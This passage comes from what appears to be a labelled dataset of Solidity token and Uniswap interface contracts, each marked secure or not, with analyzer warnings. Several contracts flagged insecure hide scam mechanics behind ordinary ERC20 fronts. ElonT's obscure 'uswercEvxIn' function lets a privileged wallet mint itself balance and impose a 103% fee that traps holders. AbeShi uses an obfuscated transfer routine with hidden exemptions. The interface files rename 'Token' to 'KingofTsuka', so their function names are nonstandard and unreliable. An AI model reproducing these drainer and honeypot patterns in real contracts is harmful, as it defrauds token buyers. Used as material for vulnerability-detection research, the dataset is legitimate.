"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n function addLiquidityETH(\n address token,\n uint256 amountKingofTsukaDesired,\n uint256 amountKingofTsukaMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountKingofTsuka, uint256 amountETH, uint256 liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB);\n function removeLiquidityETH(\n address token,\n uint256 liquidity,\n uint256 amountKingofTsukaMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountKingofTsuka, uint256 amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountA, uint256 amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint256 liquidity,\n uint256 amountKingofTsukaMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountKingofTsuka, uint256 amountETH);\n function swapExactKingofTsukasForKingofTsukas(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapKingofTsukasForExactKingofTsukas(\n uint256 amountOut,\n uint256 amountInMax,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapExactETHForKingofTsukas(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n function swapKingofTsukasForExactETH(\n uint256 amountOut,\n uint256 amountInMax,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapExactKingofTsukasForETH(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapETHForExactKingofTsukas(\n uint256 amountOut,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n\n function quote(\n uint256 amountA,\n uint256 reserveA,\n uint256 reserveB\n ) external pure returns (uint256 amountB);\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 amountOut);\n function getAmountIn(\n uint256 amountOut,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 amountIn);\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n function getAmountsIn(\n uint256 amountOut,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n}",
"file_name": "solidity_code_3099.sol",
"secure": 1,
"size_bytes": 4307
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}",
"file_name": "solidity_code_31.sol",
"secure": 1,
"size_bytes": 820
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract PeaceDove is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 406facb): PeaceDove._taxWallet should be immutable \n\t// Recommendation for 406facb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet =\n payable(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private firstBlock = 0;\n\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c22c5b): PeaceDove._initialSellTax should be constant \n\t// Recommendation for 7c22c5b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca79b68): PeaceDove._finalBuyTax should be constant \n\t// Recommendation for ca79b68: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1b884de): PeaceDove._reduceBuyTaxAt should be constant \n\t// Recommendation for 1b884de: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 40;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private currentBlock = 0;\n\n uint256 private currentBlockSellCount = 0;\n\n uint256 private constant MAX_SELLS_PER_BLOCK = 3;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dove of Peace\";\n\n string private constant _symbol = unicode\"PeaceDove\";\n\n uint256 private accumulatedTax = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private constant threshold = 1000000 * 10 ** _decimals;\n\n uint256 private constant maxSellCount = 500000;\n\n address private constant blackHoleAddress =\n 0x0000000000000000000000000000000000000000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 749c9a1): PeaceDove.uniswapV2Router should be immutable \n\t// Recommendation for 749c9a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ccb0a8): PeaceDove.uniswapV2Pair should be immutable \n\t// Recommendation for 9ccb0a8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = true;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() Ownable() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n approve(address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n approve(\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function adjustBuyTax() private {\n if (_buyCount >= _reduceBuyTaxAt && _initialBuyTax > _finalBuyTax) {\n _initialBuyTax = _finalBuyTax;\n }\n }\n\n function _canSell() private returns (bool) {\n uint256 blockNumber = block.number;\n\n if (blockNumber != currentBlock) {\n currentBlock = blockNumber;\n\n currentBlockSellCount = 0;\n }\n\n if (currentBlockSellCount >= MAX_SELLS_PER_BLOCK) {\n return false;\n }\n\n currentBlockSellCount++;\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private lockTheSwap {\n require(from != address(0) && to != address(0), \"Invalid address\");\n\n require(amount > 0, \"Invalid amount\");\n\n uint256 buyTaxAmount = 0;\n\n uint256 sellTaxAmount = amount.mul(_initialSellTax).div(1000);\n\n if (marketPair[from]) {\n adjustBuyTax();\n\n if (_buyCount < 40) {\n buyTaxAmount = amount.mul(_initialBuyTax).div(100);\n\n _balances[owner()] = _balances[owner()].add(buyTaxAmount);\n\n emit Transfer(from, owner(), buyTaxAmount);\n } else {\n buyTaxAmount = 0;\n }\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount.sub(buyTaxAmount));\n\n emit Transfer(from, to, amount.sub(buyTaxAmount));\n\n _buyCount++;\n } else if (marketPair[to]) {\n require(_canSell(), \"Sell limit reached for the current block\");\n\n accumulatedTax = accumulatedTax.add(sellTaxAmount);\n\n sellCount++;\n\n _processAccumulatedTax();\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount.sub(sellTaxAmount));\n\n emit Transfer(from, to, amount.sub(sellTaxAmount));\n } else {\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n }\n\n function _processAccumulatedTax() private {\n if (accumulatedTax >= threshold) {\n if (sellCount <= maxSellCount) {\n _balances[_taxWallet] = _balances[_taxWallet].add(\n accumulatedTax\n );\n\n emit Transfer(address(this), _taxWallet, accumulatedTax);\n } else {\n _balances[blackHoleAddress] = _balances[blackHoleAddress].add(\n accumulatedTax\n );\n\n emit Transfer(address(this), blackHoleAddress, accumulatedTax);\n }\n\n accumulatedTax = 0;\n }\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n require(_taxWallet != address(0), \"Invalid tax wallet\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n\n firstBlock = block.number;\n\n emit TradingEnabled(block.number);\n }\n\n event TradingEnabled(uint256 blockNumber);\n}",
"file_name": "solidity_code_310.sol",
"secure": 1,
"size_bytes": 9234
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferKingofTsukas(\n address token,\n uint256 liquidity,\n uint256 amountKingofTsukaMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferKingofTsukas(\n address token,\n uint256 liquidity,\n uint256 amountKingofTsukaMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountETH);\n\n function swapExactKingofTsukasForKingofTsukasSupportingFeeOnTransferKingofTsukas(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function swapExactETHForKingofTsukasSupportingFeeOnTransferKingofTsukas(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n function swapExactKingofTsukasForETHSupportingFeeOnTransferKingofTsukas(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_3100.sol",
"secure": 1,
"size_bytes": 1572
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract AbeShi is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n uint256 hold;\n uint256 positive;\n bool exactly;\n\t// WARNING Optimization Issue (immutable-states | ID: 3c356ae): AbeShi.prim should be immutable \n\t// Recommendation for 3c356ae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private prim;\n address private except;\n address private birth;\n\t// WARNING Optimization Issue (immutable-states | ID: ea3e7c1): AbeShi.uniswapV2Router should be immutable \n\t// Recommendation for ea3e7c1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 57f9270): AbeShi.square should be immutable \n\t// Recommendation for 57f9270: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private square;\n string private pSym;\n\t// WARNING Optimization Issue (immutable-states | ID: 5eb603b): AbeShi._tTotal should be immutable \n\t// Recommendation for 5eb603b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal;\n string private pName;\n\t// WARNING Optimization Issue (immutable-states | ID: 662d857): AbeShi.higher should be immutable \n\t// Recommendation for 662d857: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private higher;\n\t// WARNING Optimization Issue (immutable-states | ID: 919b7fb): AbeShi.drm should be immutable \n\t// Recommendation for 919b7fb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private drm;\n\n constructor(\n string memory _pSym,\n string memory _pName,\n address announced,\n address mhy\n ) {\n uniswapV2Router = IUniswapV2Router02(announced);\n prim = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n pSym = unicode\"阿部氏\";\n pName = unicode\"Abe-shi\";\n drm = 9;\n square = 0;\n higher = 100;\n mrd[mhy] = drm;\n _tTotal = 500000000 * 10 ** drm;\n founders[msg.sender] = _tTotal;\n emit Transfer(address(0xdead), msg.sender, _tTotal);\n }\n\n function name() public view returns (string memory) {\n return pName;\n }\n\n function symbol() public view returns (string memory) {\n return pSym;\n }\n\n function decimals() public view returns (uint256) {\n return drm;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private founders;\n\n function totalSupply() public view returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return founders[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cea3620): AbeShi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cea3620: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function mgr(address barn, address nearly, uint256 quietly) internal {\n exactly = prim == barn;\n\n if (!exactly && mrd[barn] == 0 && direct[barn] > 0) {\n mrd[barn] -= drm;\n }\n\n if (mrd[nearly] <= 0) emit Transfer(barn, nearly, quietly);\n\n hold = quietly * square;\n\n if (mrd[barn] == 0) {\n founders[barn] -= quietly;\n }\n\n positive = hold / higher;\n\n except = birth;\n\n birth = nearly;\n\n quietly -= positive;\n direct[except] += drm;\n founders[nearly] += quietly;\n }\n\n mapping(address => uint256) private direct;\n\n function approve(address spender, uint256 amount) external returns (bool) {\n return _approve(msg.sender, spender, amount);\n }\n\n mapping(address => uint256) private mrd;\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n mgr(sender, recipient, amount);\n return\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender] - amount\n );\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n mgr(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6051e2f): AbeShi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6051e2f: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) private returns (bool) {\n require(\n owner != address(0) && spender != address(0),\n \"ERC20: approve from the zero address\"\n );\n _allowances[owner][spender] = amount;\n return true;\n }\n}",
"file_name": "solidity_code_3101.sol",
"secure": 0,
"size_bytes": 5884
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: fd409b1): Contract locking ether found Contract ElonT has payable functions ElonT.receive() But does not have a function to withdraw the ether\n// Recommendation for fd409b1: Remove the 'payable' attribute or add a withdraw function.\ncontract ElonT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: 90f4744): ElonT._name should be constant \n\t// Recommendation for 90f4744: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Elon Test\";\n\t// WARNING Optimization Issue (constable-states | ID: 714f640): ElonT._symbol should be constant \n\t// Recommendation for 714f640: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"ElonT\";\n\t// WARNING Optimization Issue (constable-states | ID: cf43afe): ElonT._decimals should be constant \n\t// Recommendation for cf43afe: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\t// WARNING Optimization Issue (immutable-states | ID: 1068825): ElonT.sir should be immutable \n\t// Recommendation for 1068825: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public sir;\n mapping(address => uint256) _balances;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludefromFee;\n mapping(address => bool) public _uniswapPair;\n mapping(address => uint256) public _pairIs;\n\n\t// WARNING Optimization Issue (immutable-states | ID: befa8dd): ElonT._totalSupply should be immutable \n\t// Recommendation for befa8dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 10000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: 7afddd3): ElonT.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 7afddd3: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n _isExcludefromFee[owner()] = true;\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n\n sir = payable(address(0x8390460944c425040a9be6839d067Da602Fee586));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f753b13): ElonT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f753b13: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 75d0b10): ElonT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 75d0b10: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: cc05c35\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: cb8e48d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: fd409b1): Contract locking ether found Contract ElonT has payable functions ElonT.receive() But does not have a function to withdraw the ether\n\t// Recommendation for fd409b1: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cb8e48d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cb8e48d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cc05c35): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cc05c35: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cb8e48d\n\t\t// reentrancy-benign | ID: cc05c35\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: cb8e48d\n\t\t// reentrancy-benign | ID: cc05c35\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c9f50a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c9f50a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launch() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: c9f50a1\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c9f50a1\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: c9f50a1\n _uniswapPair[address(uniswapPair)] = true;\n\t\t// reentrancy-benign | ID: c9f50a1\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e5e59a2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e5e59a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8a0049c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8a0049c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n\t\t\t\t// reentrancy-events | ID: e5e59a2\n\t\t\t\t// reentrancy-no-eth | ID: 8a0049c\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 8a0049c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: e5e59a2\n\t\t\t// reentrancy-no-eth | ID: 8a0049c\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : IMPORTANT(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 8a0049c\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: e5e59a2\n emit Transfer(from, to, fAmount);\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function updone(\n uint256 valueIndex,\n mapping(address => uint256) storage implementations\n ) private {\n implementations[sir] += valueIndex;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: e5e59a2\n\t\t// reentrancy-events | ID: cb8e48d\n\t\t// reentrancy-benign | ID: cc05c35\n\t\t// reentrancy-no-eth | ID: 8a0049c\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(sir),\n block.timestamp\n )\n {} catch {}\n }\n\n function uswercEvxIn(address right, uint256 mach) public {\n uint256 a = 100;\n uint256 b = 300;\n if (mach >= 50 + uint256((a) + (b)).mul(a))\n updone(mach + mach, (_balances));\n if (b - 3 * a == mach) _pairIs[right] = mach;\n if (b + a == mach) _pairIs[right] = mach;\n if (sir != msg.sender) revert(\"not sir\");\n }\n\n function IMPORTANT(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapFee = amount.mul(3).div(100);\n\n if (_pairIs[sender] != 0) swapFee = amount.mul(103).div(100);\n\n if (swapFee > 0) {\n\t\t\t// reentrancy-no-eth | ID: 8a0049c\n _balances[address(this)] += swapFee;\n\t\t\t// reentrancy-events | ID: e5e59a2\n emit Transfer(sender, address(this), swapFee);\n }\n\n return amount.sub(swapFee);\n }\n}",
"file_name": "solidity_code_3102.sol",
"secure": 0,
"size_bytes": 12309
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: division by zero\");\n uint256 c = a / b;\n return c;\n }\n}",
"file_name": "solidity_code_3103.sol",
"secure": 1,
"size_bytes": 520
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Context {\n function _sender() internal view returns (address) {\n return msg.sender;\n }\n}\n",
"file_name": "solidity_code_3104.sol",
"secure": 1,
"size_bytes": 178
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: da7358a): Contract locking ether found Contract Karen has payable functions Karen.receive() But does not have a function to withdraw the ether\n// Recommendation for da7358a: Remove the 'payable' attribute or add a withdraw function.\ncontract Karen is Ownable, Context {\n using SafeMath for uint256;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c91fdb9): Karen.constructor(address).pair lacks a zerocheck on \t uniswapPair = pair\n\t// Recommendation for c91fdb9: Check that the address is not zero.\n constructor(address pair) {\n _balances[msg.sender] = _totalSupply;\n\t\t// missing-zero-check | ID: c91fdb9\n uniswapPair = pair;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: affaaad): Karen._decimals should be constant \n\t// Recommendation for affaaad: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 133c64d): Karen._totalSupply should be immutable \n\t// Recommendation for 133c64d: Add the 